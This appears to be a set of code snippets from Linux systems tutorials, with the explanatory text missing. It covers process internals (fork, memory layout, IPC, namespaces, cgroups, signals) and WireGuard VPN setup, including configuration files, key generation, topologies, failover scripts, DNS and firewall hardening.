int sockfd = socket(AF_INET, SOCK_STREAM, 0);

Before fork():
Parent: [Page A]

After fork():
Parent: [Page A] ←─┐
                   │ Both point to same physical page
Child:  [Page A] ←─┘

After write by child:
Parent: [Page A]    ← Original page
Child:  [Page A']   ← New copy

# Before fork
cat /proc/$$/status | grep VmRSS

# After fork (child shares memory)
# VmRSS doesn't double

# After child modifies memory
# VmRSS increases

Virtual Address Space         Physical Memory
┌────────────────┐            ┌────────────────┐
│  0xFFFFFFFF    │            │                │
│                │   ┌────────│  Frame 1234    │
│  [Stack]       │───┘        ├────────────────┤
│                │            │                │
│  ...           │   ┌────────│  Frame 5678    │
│  [Heap]        │───┘        ├────────────────┤
│                │            │                │
│  [Data/BSS]    │───┐        │  Frame 9012    │
│                │   └────────├────────────────┤
│  [Text]        │───┐        │                │
│  0x00000000    │   └────────│  Frame 3456    │
└────────────────┘            └────────────────┘

Page Table translates Virtual → Physical

getconf PAGE_SIZE    # Usually 4096 bytes (4 KB)

# Context switches per second
vmstat 1
# cs column shows context switches

# Per-process context switches
cat /proc/$$/status | grep ctxt

# View scheduler
cat /proc/$$/sched

# Scheduling policies:
# SCHED_NORMAL (0): Default time-sharing
# SCHED_FIFO (1): Real-time FIFO
# SCHED_RR (2): Real-time round-robin
# SCHED_BATCH (3): Batch processing
# SCHED_IDLE (5): Very low priority

# Set policy
chrt -f 10 ./program     # FIFO, priority 10
chrt -r 10 ./program     # Round-robin

# Namespace types:
# - mnt: Mount points
# - pid: Process IDs
# - net: Network stack
# - ipc: IPC resources
# - uts: Hostname
# - user: User/group IDs
# - cgroup: Control groups

# View namespaces
ls -l /proc/$$/ns/

# Create namespace
unshare --pid --fork --mount-proc bash
# Now in new PID namespace, ps shows only local processes

# Enter namespace
nsenter -t <pid> -a  # All namespaces

# v1 location
ls /sys/fs/cgroup/

# v2 location
ls /sys/fs/cgroup/unified/

# Create cgroup
mkdir /sys/fs/cgroup/memory/mygroup

# Set memory limit (100 MB)
echo 104857600 > /sys/fs/cgroup/memory/mygroup/memory.limit_in_bytes

# Add process to cgroup
echo $$ > /sys/fs/cgroup/memory/mygroup/cgroup.procs

# View cgroup of process
cat /proc/$$/cgroup

// Daemonization steps
#include <unistd.h>
#include <sys/stat.h>

void daemonize() {
    // 1. Fork and exit parent
    pid_t pid = fork();
    if (pid > 0) exit(0);

    // 2. Create new session
    setsid();

    // 3. Fork again (prevent controlling terminal)
    pid = fork();
    if (pid > 0) exit(0);

    // 4. Change directory
    chdir("/");

    // 5. Close file descriptors
    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);

    // 6. Set umask
    umask(0);

    // 7. Open log file
    open("/var/log/mydaemon.log", O_WRONLY|O_CREAT, 0644);
}

# Modern way (systemd)
systemctl start mydaemon
systemctl enable mydaemon

// memory_layout.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int global_init = 42;           // Data segment
int global_uninit;              // BSS segment
const int const_data = 100;     // Read-only data

void print_addresses() {
    int stack_var;                 // Stack
    int* heap_ptr = malloc(10);    // Heap

    printf("=== Memory Layout ===\n");
    printf("Text (function):    %p\n", (void*)print_addresses);
    printf("Data (initialized): %p\n", (void*)&global_init);
    printf("BSS (uninitialized):%p\n", (void*)&global_uninit);
    printf("Heap:               %p\n", (void*)heap_ptr);
    printf("Stack:              %p\n", (void*)&stack_var);
    printf("===================\n");

    free(heap_ptr);
}

int main() {
    printf("PID: %d\n", getpid());
    print_addresses();
    printf("\nCheck: cat /proc/%d/maps\n", getpid());
    sleep(30);  // Keep process alive
    return 0;
}

gcc memory_layout.c -o memory_layout
./memory_layout &
cat /proc/$(pgrep memory_layout)/maps

// fork_exec.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>

int main() {
    printf("Parent PID: %d\n", getpid());

    pid_t pid = fork();

    if (pid < 0) {
        perror("fork");
        exit(1);
    } else if (pid == 0) {
        // Child process
        printf("Child PID: %d, PPID: %d\n", getpid(), getppid());

        // Execute new program
        char* args[] = {"ls", "-l", NULL};
        execvp("ls", args);

        // Only reached if exec fails
        perror("exec");
        exit(1);
    } else {
        // Parent process
        printf("Parent created child: %d\n", pid);

        // Wait for child
        int status;
        waitpid(pid, &status, 0);

        if (WIFEXITED(status)) {
            printf("Child exited with status: %d\n",
                   WEXITSTATUS(status));
        }
    }

    return 0;
}

// pipe_example.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main() {
    int pipefd[2];
    char buffer[100];

    if (pipe(pipefd) == -1) {
        perror("pipe");
        exit(1);
    }

    pid_t pid = fork();

    if (pid == 0) {
        // Child: writer
        close(pipefd[0]);  // Close read end
        char* msg = "Hello from child!";
        write(pipefd[1], msg, strlen(msg) + 1);
        close(pipefd[1]);
        exit(0);
    } else {
        // Parent: reader
        close(pipefd[1]);  // Close write end
        read(pipefd[0], buffer, sizeof(buffer));
        printf("Parent received: %s\n", buffer);
        close(pipefd[0]);
        wait(NULL);
    }

    return 0;
}

// shm_example.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>

int main() {
    int shmid = shmget(IPC_PRIVATE, 4096, IPC_CREAT | 0666);

    pid_t pid = fork();

    if (pid == 0) {
        // Child: writer
        char* ptr = shmat(shmid, NULL, 0);
        strcpy(ptr, "Shared memory message!");
        shmdt(ptr);
        exit(0);
    } else {
        // Parent: reader
        wait(NULL);
        char* ptr = shmat(shmid, NULL, 0);
        printf("Read from shared memory: %s\n", ptr);
        shmdt(ptr);
        shmctl(shmid, IPC_RMID, NULL);
    }

    return 0;
}

#!/bin/bash
# process_monitor.sh

PID=$1

if [ -z "$PID" ]; then
    echo "Usage: $0 <pid>"
    exit 1
fi

echo "Monitoring PID: $PID"
echo "================================"

while kill -0 $PID 2>/dev/null; do
    clear
    echo "=== Process Info ==="
    ps -p $PID -o pid,ppid,state,pcpu,pmem,vsz,rss,cmd

    echo -e "\n=== Memory Details ==="
    cat /proc/$PID/status | grep -E "VmSize|VmRSS|VmData|VmStk|VmExe"

    echo -e "\n=== Open Files ==="
    ls -l /proc/$PID/fd/ 2>/dev/null | wc -l

    echo -e "\n=== Threads ==="
    ls /proc/$PID/task/ 2>/dev/null | wc -l

    echo -e "\n=== Context Switches ==="
    cat /proc/$PID/status | grep ctxt

    sleep 2
done

echo "Process $PID terminated"

// signal_example.c
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>

volatile sig_atomic_t keep_running = 1;

void signal_handler(int signum) {
    if (signum == SIGINT) {
        printf("\nReceived SIGINT (Ctrl+C)\n");
        keep_running = 0;
    } else if (signum == SIGTERM) {
        printf("\nReceived SIGTERM\n");
        keep_running = 0;
    }
}

int main() {
    signal(SIGINT, signal_handler);
    signal(SIGTERM, signal_handler);

    printf("PID: %d\n", getpid());
    printf("Press Ctrl+C to stop\n");

    while (keep_running) {
        printf("Running...\n");
        sleep(1);
    }

    printf("Exiting gracefully\n");
    return 0;
}

Initiator                                Responder
   |                                         |
   |  (1) Initiation Message                 |
   |  - Initiator's ephemeral public key     |
   |  - Encrypted static public key          |
   |  - Encrypted timestamp                  |
   | --------------------------------------> |
   |                                         |
   |  (2) Response Message                   |
   |  - Responder's ephemeral public key     |
   |  - Encrypted "empty" payload            |
   | <-------------------------------------- |
   |                                         |
   |  (3) Data Packets                       |
   |  - Encrypted with derived keys          |
   | <-------------------------------------> |

Time (seconds):    0        120       180
                   |         |         |
Key Pair 1:    [Active]--[Rekey]--[Reject]
                            |
Key Pair 2:              [Active]--[Rekey]--[Reject]
                                     |
Key Pair 3:                       [Active]-->

┌─────────────────────────────────────────────────────────────┐
│                    Outgoing Packet Path                      │
└─────────────────────────────────────────────────────────────┘

Application Layer
       |
       v
Socket Buffer (SKB) Created
       |
       v
Routing Decision ─────> Check AllowedIPs (Cryptokey Routing)
       |                        |
       v                        v
  Match Found?            Select Peer
       |                        |
       v                        v
  [WireGuard Interface]         |
       |                        |
       v                        |
  Valid Handshake? <────────────┘
       |
       | Yes (use session keys)
       v
  Encrypt with ChaCha20-Poly1305
       |
       v
  Add WireGuard Header
  - Type (4 bytes)
  - Receiver index (4 bytes)
  - Counter (8 bytes)
  - Encrypted payload
  - Poly1305 tag (16 bytes)
       |
       v
  UDP Encapsulation (port 51820)
       |
       v
  Send via Physical Interface

┌─────────────────────────────────────────────────────────────┐
│                    Incoming Packet Path                      │
└─────────────────────────────────────────────────────────────┘

Physical Interface
       |
       v
UDP Packet Received (port 51820)
       |
       v
WireGuard Module
       |
       v
Packet Type Check
  ├─> Handshake Initiation (Type 1)
  ├─> Handshake Response (Type 2)
  ├─> Cookie Reply (Type 3)
  └─> Transport Data (Type 4)
       |
       v
  Lookup Receiver Index
       |
       v
  Verify Counter (anti-replay)
       |
       v
  Decrypt with ChaCha20-Poly1305
       |
       v
  Verify Poly1305 MAC
       |
       v
  Extract IP Packet
       |
       v
  Verify Source IP in AllowedIPs
       |
       v
  Forward to Network Stack
       |
       v
  Application Layer

Peer Configuration:
[Peer]
PublicKey = <peer_key>
AllowedIPs = 10.0.0.2/32, 192.168.1.0/24

Routing Logic:
1. Outgoing:
   Destination IP → Lookup in AllowedIPs → Select Peer → Encrypt

2. Incoming:
   Decrypt → Extract Source IP → Verify in Peer's AllowedIPs → Accept

// Main device structure
struct wg_device {
    struct net_device *dev;
    struct list_head peer_list;
    struct mutex device_update_lock;
    struct sk_buff_head incoming_handshakes;
    // ... encryption keys, timers, etc.
};

// Peer structure
struct wg_peer {
    struct wg_device *device;
    struct endpoint endpoint;
    struct wireguard_peer *next;
    u8 public_key[NOISE_PUBLIC_KEY_LEN];
    // ... session keys, timers, allowedips, etc.
};

// Session keys
struct noise_keypair {
    u8 sending_key[CHACHA20POLY1305_KEY_SIZE];
    u8 receiving_key[CHACHA20POLY1305_KEY_SIZE];
    u64 sending_counter;
    u64 receiving_counter;
    // ... timestamps, validity
};

// Communication between wg-quick/wg and kernel module
Userspace (wg tool)
        |
        | Netlink messages
        v
    WG_CMD_GET_DEVICE
    WG_CMD_SET_DEVICE
        |
        v
Kernel Module (wireguard.ko)
        |
        v
    Process configuration
    Update peer lists
    Set keys and endpoints

┌───────────────────────────────────────────────┐
│        Linux Network Stack                     │
│                                                │
│  ┌──────────┐  ┌──────────┐  ┌──────────┐    │
│  │   eth0   │  │   wlan0  │  │   wg0    │    │
│  └────┬─────┘  └────┬─────┘  └────┬─────┘    │
│       │             │              │          │
│       └─────────────┴──────────────┘          │
│                     │                         │
│              ┌──────▼──────┐                  │
│              │   Routing   │                  │
│              │   Decision  │                  │
│              └──────┬──────┘                  │
│                     │                         │
│              ┌──────▼──────┐                  │
│              │  iptables/  │                  │
│              │  netfilter  │                  │
│              └──────┬──────┘                  │
│                     │                         │
│              ┌──────▼──────┐                  │
│              │Application  │                  │
│              └─────────────┘                  │
└───────────────────────────────────────────────┘

WireGuard Operations:
- net_device_ops for interface operations
- Hard header length for encapsulation
- MTU handling for overhead
- Queueing discipline integration

# Check if WireGuard is available
sudo modinfo wireguard

# Load the module if needed
sudo modprobe wireguard

# Verify module is loaded
lsmod | grep wireguard

# Ubuntu/Debian
sudo apt update
sudo apt install wireguard wireguard-tools

# Fedora/RHEL/CentOS
sudo dnf install wireguard-tools

# Arch Linux
sudo pacman -S wireguard-tools

# Verify installation
wg --version

# Create a WireGuard interface
sudo ip link add dev wg0 type wireguard

# Delete a WireGuard interface
sudo ip link delete dev wg0

# Generate private key
wg genkey > privatekey

# Generate public key from private key
wg pubkey < privatekey > publickey

# Generate both keys
umask 077
wg genkey | tee privatekey | wg pubkey > publickey

# Generate pre-shared key (optional, for additional security)
wg genpsk > presharedkey

# /etc/wireguard/wg0.conf
[Interface]
# Interface settings
PrivateKey = <interface_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
# Optional settings
#PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
#PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
#DNS = 1.1.1.1, 8.8.8.8
#MTU = 1420

[Peer]
# Peer configuration
PublicKey = <peer_public_key>
# Optional pre-shared key for quantum resistance
#PresharedKey = <pre_shared_key>
# Which IPs this peer can use as source/destination
AllowedIPs = 10.0.0.2/32
# Peer's external endpoint
Endpoint = peer.example.com:51820
# Keep connection alive (useful for NAT traversal)
PersistentKeepalive = 25

[Interface]
PrivateKey = <server_private_key>
Address = 10.0.0.1/24
ListenPort = 51820

[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.0.2/32

[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.2/24

[Peer]
PublicKey = <server_public_key>
AllowedIPs = 10.0.0.0/24
Endpoint = server.example.com:51820
PersistentKeepalive = 25

[Interface]
PrivateKey = <server_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.0.2/32

[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = <server_public_key>
# Route all traffic through VPN
AllowedIPs = 0.0.0.0/0
Endpoint = server.example.com:51820
PersistentKeepalive = 25

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Make permanent
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf
echo "net.ipv6.conf.all.forwarding=1" | sudo tee -a /etc/sysctl.conf

[Interface]
PrivateKey = <site_a_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i %i -j ACCEPT
PostDown = iptables -D FORWARD -i %i -j ACCEPT

[Peer]
PublicKey = <site_b_public_key>
# Allow traffic to Site B's local network
AllowedIPs = 192.168.2.0/24, 10.0.0.2/32
Endpoint = site-b.example.com:51820
PersistentKeepalive = 25

[Interface]
PrivateKey = <site_b_private_key>
Address = 10.0.0.2/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i %i -j ACCEPT
PostDown = iptables -D FORWARD -i %i -j ACCEPT

[Peer]
PublicKey = <site_a_public_key>
# Allow traffic to Site A's local network
AllowedIPs = 192.168.1.0/24, 10.0.0.1/32
Endpoint = site-a.example.com:51820
PersistentKeepalive = 25

# Start VPN interface
sudo wg-quick up wg0

# Stop VPN interface
sudo wg-quick down wg0

# Restart VPN interface
sudo wg-quick down wg0 && sudo wg-quick up wg0

# Enable and start
sudo systemctl enable wg-quick@wg0.service
sudo systemctl start wg-quick@wg0.service

# Check status
sudo systemctl status wg-quick@wg0.service

# Stop and disable
sudo systemctl stop wg-quick@wg0.service
sudo systemctl disable wg-quick@wg0.service

# Restart
sudo systemctl restart wg-quick@wg0.service

# Create interface
sudo ip link add dev wg0 type wireguard

# Configure interface
sudo wg setconf wg0 /etc/wireguard/wg0.conf
# Or configure directly
sudo wg set wg0 private-key /etc/wireguard/privatekey listen-port 51820

# Assign IP address
sudo ip address add dev wg0 10.0.0.1/24

# Bring interface up
sudo ip link set up dev wg0

# Show configuration
sudo wg show wg0

# Add a peer
sudo wg set wg0 peer <peer_public_key> \
  allowed-ips 10.0.0.3/32 \
  endpoint peer.example.com:51820 \
  persistent-keepalive 25

# Remove a peer
sudo wg set wg0 peer <peer_public_key> remove

# Update peer's allowed IPs
sudo wg set wg0 peer <peer_public_key> \
  allowed-ips 10.0.0.3/32,10.0.1.0/24

# Show all WireGuard interfaces
sudo wg show

# Show specific interface
sudo wg show wg0

# Show in different formats
sudo wg show wg0 dump        # Machine-readable format
sudo wg show wg0 endpoints   # Show peer endpoints
sudo wg show wg0 allowed-ips # Show allowed IPs
sudo wg show wg0 latest-handshakes  # Show handshake times
sudo wg show wg0 transfer    # Show data transfer
sudo wg show wg0 persistent-keepalive  # Show keepalive settings

# View detailed interface information
sudo wg show wg0

# Example output:
# interface: wg0
#   public key: <public_key>
#   private key: (hidden)
#   listening port: 51820
#
# peer: <peer_public_key>
#   endpoint: 203.0.113.1:51820
#   allowed ips: 10.0.0.2/32
#   latest handshake: 1 minute, 23 seconds ago
#   transfer: 15.23 MiB received, 8.92 MiB sent
#   persistent keepalive: every 25 seconds

# Ping peer through tunnel
ping 10.0.0.2

# Trace route through tunnel
traceroute 10.0.0.2

# Check if handshake is happening
sudo wg show wg0 latest-handshakes

# Monitor interface statistics
sudo ip -s link show wg0

# Check for errors
sudo dmesg | grep wireguard
sudo journalctl -u wg-quick@wg0

# Check if WireGuard is running
sudo wg show

# Verify endpoint is reachable
ping -c 4 server.example.com
nc -u -v server.example.com 51820

# Check firewall rules
sudo iptables -L -n | grep 51820
sudo ufw status

# Verify IP forwarding (on server)
sudo sysctl net.ipv4.ip_forward
sudo sysctl net.ipv6.conf.all.forwarding

# Check routing
ip route get 10.0.0.2
ip route show table all

# Verify iptables rules
sudo iptables -L FORWARD -n -v
sudo iptables -t nat -L POSTROUTING -n -v

# Test MTU
ping -M do -s 1400 10.0.0.2

# Adjust MTU in configuration
# Add to [Interface] section:
# MTU = 1420

# Or manually:
sudo ip link set mtu 1420 dev wg0

# Ensure PersistentKeepalive is set (client side)
# Add to [Peer] section:
# PersistentKeepalive = 25

# Force handshake
sudo wg set wg0 peer <peer_public_key> endpoint new.example.com:51820

[Interface]
PrivateKey = <server_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE

# Client 1
[Peer]
PublicKey = <client1_public_key>
AllowedIPs = 10.0.0.2/32

# Client 2
[Peer]
PublicKey = <client2_public_key>
AllowedIPs = 10.0.0.3/32

# Client 3
[Peer]
PublicKey = <client3_public_key>
AllowedIPs = 10.0.0.4/32

#!/bin/bash
# add-client.sh

CLIENT_NAME=$1
SERVER_PUBLIC_KEY="<server_public_key>"
SERVER_ENDPOINT="vpn.example.com:51820"
CONFIG_DIR="/etc/wireguard"
NETWORK="10.0.0"

# Find next available IP
NEXT_IP=$(wg show wg0 allowed-ips | \
  grep -oP "${NETWORK}\.\K\d+" | \
  sort -n | tail -1)
NEXT_IP=$((NEXT_IP + 1))

# Generate keys
umask 077
CLIENT_PRIVATE_KEY=$(wg genkey)
CLIENT_PUBLIC_KEY=$(echo "$CLIENT_PRIVATE_KEY" | wg pubkey)

# Add peer to server
wg set wg0 peer "$CLIENT_PUBLIC_KEY" \
  allowed-ips ${NETWORK}.${NEXT_IP}/32

# Generate client config
cat > "${CONFIG_DIR}/${CLIENT_NAME}.conf" <<EOF
[Interface]
PrivateKey = ${CLIENT_PRIVATE_KEY}
Address = ${NETWORK}.${NEXT_IP}/24
DNS = 1.1.1.1

[Peer]
PublicKey = ${SERVER_PUBLIC_KEY}
AllowedIPs = 0.0.0.0/0
Endpoint = ${SERVER_ENDPOINT}
PersistentKeepalive = 25
EOF

echo "Client ${CLIENT_NAME} added with IP ${NETWORK}.${NEXT_IP}"
echo "Config: ${CONFIG_DIR}/${CLIENT_NAME}.conf"

# Save to server config
wg-quick save wg0

[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.2/24

[Peer]
PublicKey = <server_public_key>
# Only route specific networks through VPN
AllowedIPs = 10.0.0.0/24, 192.168.1.0/24
Endpoint = server.example.com:51820
PersistentKeepalive = 25

[Interface]
PrivateKey = <private_key>
Address = 10.0.0.1/24, fd00::1/64
ListenPort = 51820

[Peer]
PublicKey = <peer_public_key>
AllowedIPs = 10.0.0.2/32, fd00::2/128
Endpoint = peer.example.com:51820

# Create namespace
sudo ip netns add wg_namespace

# Create WireGuard interface in namespace
sudo ip link add wg0 type wireguard
sudo ip link set wg0 netns wg_namespace

# Configure in namespace
sudo ip netns exec wg_namespace wg setconf wg0 /etc/wireguard/wg0.conf
sudo ip netns exec wg_namespace ip addr add 10.0.0.1/24 dev wg0
sudo ip netns exec wg_namespace ip link set wg0 up

# Run application in namespace
sudo ip netns exec wg_namespace sudo -u user firefox

# Generate pre-shared key
wg genpsk > presharedkey

# Add to peer configuration
sudo wg set wg0 peer <peer_public_key> \
  preshared-key /etc/wireguard/presharedkey

[Peer]
PublicKey = <peer_public_key>
PresharedKey = <pre_shared_key>
AllowedIPs = 10.0.0.2/32

[Interface]
PrivateKey = <primary_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
PostUp = ip route add 192.168.1.0/24 dev wg0

[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.0.2/32

[Interface]
PrivateKey = <backup_private_key>  # Same or different key
Address = 10.0.0.1/24               # Same VPN IP
ListenPort = 51820
PostUp = ip route add 192.168.1.0/24 dev wg0

[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.0.2/32

[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.2/24

# Primary peer
[Peer]
PublicKey = <primary_public_key>
AllowedIPs = 0.0.0.0/0
Endpoint = primary.example.com:51820
PersistentKeepalive = 25

# Backup peer (activate manually or via script)
#[Peer]
#PublicKey = <backup_public_key>
#AllowedIPs = 0.0.0.0/0
#Endpoint = backup.example.com:51820
#PersistentKeepalive = 25

#!/bin/bash

PRIMARY_ENDPOINT="primary.example.com:51820"
BACKUP_ENDPOINT="backup.example.com:51820"
PRIMARY_KEY="<primary_public_key>"
BACKUP_KEY="<backup_public_key>"
INTERFACE="wg0"
CHECK_INTERVAL=10

check_connection() {
    # Check if last handshake was recent (within 3 minutes)
    last_handshake=$(sudo wg show "$INTERFACE" latest-handshakes | \
        grep "$1" | awk '{print $2}')
    current_time=$(date +%s)

    if [ -z "$last_handshake" ]; then
        return 1
    fi

    time_diff=$((current_time - last_handshake))
    [ "$time_diff" -lt 180 ]
}

while true; do
    if ! check_connection "$PRIMARY_KEY"; then
        echo "Primary connection failed, switching to backup"
        sudo wg set "$INTERFACE" peer "$PRIMARY_KEY" remove
        sudo wg set "$INTERFACE" peer "$BACKUP_KEY" \
            endpoint "$BACKUP_ENDPOINT" \
            allowed-ips 0.0.0.0/0 \
            persistent-keepalive 25
    elif check_connection "$BACKUP_KEY"; then
        echo "Primary restored, switching back"
        sudo wg set "$INTERFACE" peer "$BACKUP_KEY" remove
        sudo wg set "$INTERFACE" peer "$PRIMARY_KEY" \
            endpoint "$PRIMARY_ENDPOINT" \
            allowed-ips 0.0.0.0/0 \
            persistent-keepalive 25
    fi
    sleep "$CHECK_INTERVAL"
done

# /etc/systemd/system/wg-failover.service
[Unit]
Description=WireGuard Failover Service
After=wg-quick@wg0.service
Requires=wg-quick@wg0.service

[Service]
Type=simple
ExecStart=/usr/local/bin/wg-failover.sh
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.10/24
Table = off  # Disable automatic routing
PostUp = ip route add 10.0.1.0/24 via 10.0.0.1 dev wg0
PostUp = ip route add 10.0.2.0/24 via 10.0.0.2 dev wg0

# Server 1 - for network 10.0.1.0/24
[Peer]
PublicKey = <server1_public_key>
AllowedIPs = 10.0.0.1/32, 10.0.1.0/24
Endpoint = server1.example.com:51820
PersistentKeepalive = 25

# Server 2 - for network 10.0.2.0/24
[Peer]
PublicKey = <server2_public_key>
AllowedIPs = 10.0.0.2/32, 10.0.2.0/24
Endpoint = server2.example.com:51820
PersistentKeepalive = 25

Client → Server A → Server B → Internet

[Interface]
PrivateKey = <server_a_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT
PostUp = iptables -t nat -A POSTROUTING -o wg1 -j MASQUERADE
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT
PostDown = iptables -t nat -D POSTROUTING -o wg1 -j MASQUERADE

[Peer]
PublicKey = <client_public_key>
AllowedIPs = 10.0.0.2/32

# Second interface for connection to Server B
# /etc/wireguard/wg1.conf
[Interface]
PrivateKey = <server_a_wg1_private_key>
Address = 10.0.1.1/24

[Peer]
PublicKey = <server_b_public_key>
AllowedIPs = 0.0.0.0/0
Endpoint = server-b.example.com:51820
PersistentKeepalive = 25

[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = <server_a_public_key>
AllowedIPs = 0.0.0.0/0
Endpoint = server-a.example.com:51820
PersistentKeepalive = 25

        Spoke 1 (192.168.1.0/24)
              |
              |
         [Hub Server]
         (10.0.0.1)
         /         \
        /           \
  Spoke 2         Spoke 3
(192.168.2.0/24) (192.168.3.0/24)

[Interface]
PrivateKey = <hub_private_key>
Address = 10.0.0.1/24
ListenPort = 51820
PostUp = sysctl -w net.ipv4.ip_forward=1

# Spoke 1
[Peer]
PublicKey = <spoke1_public_key>
AllowedIPs = 10.0.0.2/32, 192.168.1.0/24

# Spoke 2
[Peer]
PublicKey = <spoke2_public_key>
AllowedIPs = 10.0.0.3/32, 192.168.2.0/24

# Spoke 3
[Peer]
PublicKey = <spoke3_public_key>
AllowedIPs = 10.0.0.4/32, 192.168.3.0/24

[Interface]
PrivateKey = <spoke1_private_key>
Address = 10.0.0.2/24
PostUp = ip route add 192.168.2.0/24 via 10.0.0.1 dev wg0
PostUp = ip route add 192.168.3.0/24 via 10.0.0.1 dev wg0

[Peer]
PublicKey = <hub_public_key>
AllowedIPs = 10.0.0.1/32, 192.168.2.0/24, 192.168.3.0/24
Endpoint = hub.example.com:51820
PersistentKeepalive = 25

     Node A ─────── Node B
       │  \       /  │
       │   \     /   │
       │    \   /    │
       │     \ /     │
       │      X      │
       │     / \     │
       │    /   \    │
       │   /     \   │
       │  /       \  │
     Node C ─────── Node D

[Interface]
PrivateKey = <node_a_private_key>
Address = 10.0.0.1/24
ListenPort = 51820

[Peer]  # Node B
PublicKey = <node_b_public_key>
AllowedIPs = 10.0.0.2/32
Endpoint = node-b.example.com:51820
PersistentKeepalive = 25

[Peer]  # Node C
PublicKey = <node_c_public_key>
AllowedIPs = 10.0.0.3/32
Endpoint = node-c.example.com:51820
PersistentKeepalive = 25

[Peer]  # Node D
PublicKey = <node_d_public_key>
AllowedIPs = 10.0.0.4/32
Endpoint = node-d.example.com:51820
PersistentKeepalive = 25

[Interface]
PrivateKey = <private_key>
Address = 10.0.0.2/24
# Internal DNS for corporate domains
DNS = 10.0.0.53
PostUp = resolvconf -a %i -m 0 -x
PostUp = echo "search corporate.local" >> /etc/resolv.conf
PostUp = echo "nameserver 10.0.0.53" >> /etc/resolv.conf
PostDown = resolvconf -d %i

[Peer]
PublicKey = <server_public_key>
AllowedIPs = 10.0.0.0/24
Endpoint = vpn.example.com:51820
PersistentKeepalive = 25

# Install cloudflared
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared
sudo chmod +x /usr/local/bin/cloudflared

# Configure DNS proxy
sudo cloudflared proxy-dns --port 53 --upstream https://1.1.1.1/dns-query

# Add to WireGuard config
# DNS = 10.0.0.1  (server's WireGuard IP)

# Install dnsmasq
sudo apt install dnsmasq

# Configure /etc/dnsmasq.conf
interface=wg0
bind-interfaces
listen-address=10.0.0.1
domain=vpn.local
expand-hosts

# DNS records
address=/server1.vpn.local/10.0.0.10
address=/server2.vpn.local/10.0.0.11

# Upstream DNS
server=1.1.1.1
server=8.8.8.8

# Enable and start
sudo systemctl enable dnsmasq
sudo systemctl restart dnsmasq

[Interface]
PrivateKey = <client_private_key>
Address = 10.0.0.2/24
DNS = 10.0.0.1
PostUp = echo "search vpn.local" >> /etc/resolv.conf

[Peer]
PublicKey = <server_public_key>
AllowedIPs = 10.0.0.0/24
Endpoint = vpn.example.com:51820
PersistentKeepalive = 25

#!/bin/bash

INTERFACE="wg0"
PEER_KEY="<peer_public_key>"
DDNS_HOSTNAME="dynamic.example.com"
PORT="51820"
CHECK_INTERVAL=300  # 5 minutes

get_current_ip() {
    dig +short "$DDNS_HOSTNAME" A | tail -n1
}

get_configured_endpoint() {
    sudo wg show "$INTERFACE" endpoints | grep "$PEER_KEY" | awk '{print $2}'
}

while true; do
    current_ip=$(get_current_ip)
    configured_endpoint=$(get_configured_endpoint)
    expected_endpoint="${current_ip}:${PORT}"

    if [ "$configured_endpoint" != "$expected_endpoint" ] && [ -n "$current_ip" ]; then
        echo "Updating endpoint to $expected_endpoint"
        sudo wg set "$INTERFACE" peer "$PEER_KEY" endpoint "$expected_endpoint"
    fi

    sleep "$CHECK_INTERVAL"
done

# Secure private key permissions
sudo chmod 600 /etc/wireguard/privatekey
sudo chmod 600 /etc/wireguard/wg0.conf
sudo chown root:root /etc/wireguard/*

# Store keys securely
# - Never commit to version control
# - Use encrypted storage
# - Rotate keys periodically

# Allow WireGuard traffic
sudo ufw allow 51820/udp

# Or with iptables
sudo iptables -A INPUT -p udp --dport 51820 -j ACCEPT

# Restrict to specific sources (more secure)
sudo ufw allow from 203.0.113.0/24 to any port 51820 proto udp

# Disable IP forwarding for other interfaces
sudo iptables -A FORWARD -i wg0 -j ACCEPT
sudo iptables -A FORWARD -o wg0 -j ACCEPT
sudo iptables -A FORWARD -j DROP

# Rate limit new connections
sudo iptables -A INPUT -p udp --dport 51820 \
  -m state --state NEW -m recent --set
sudo iptables -A INPUT -p udp --dport 51820 \
  -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP

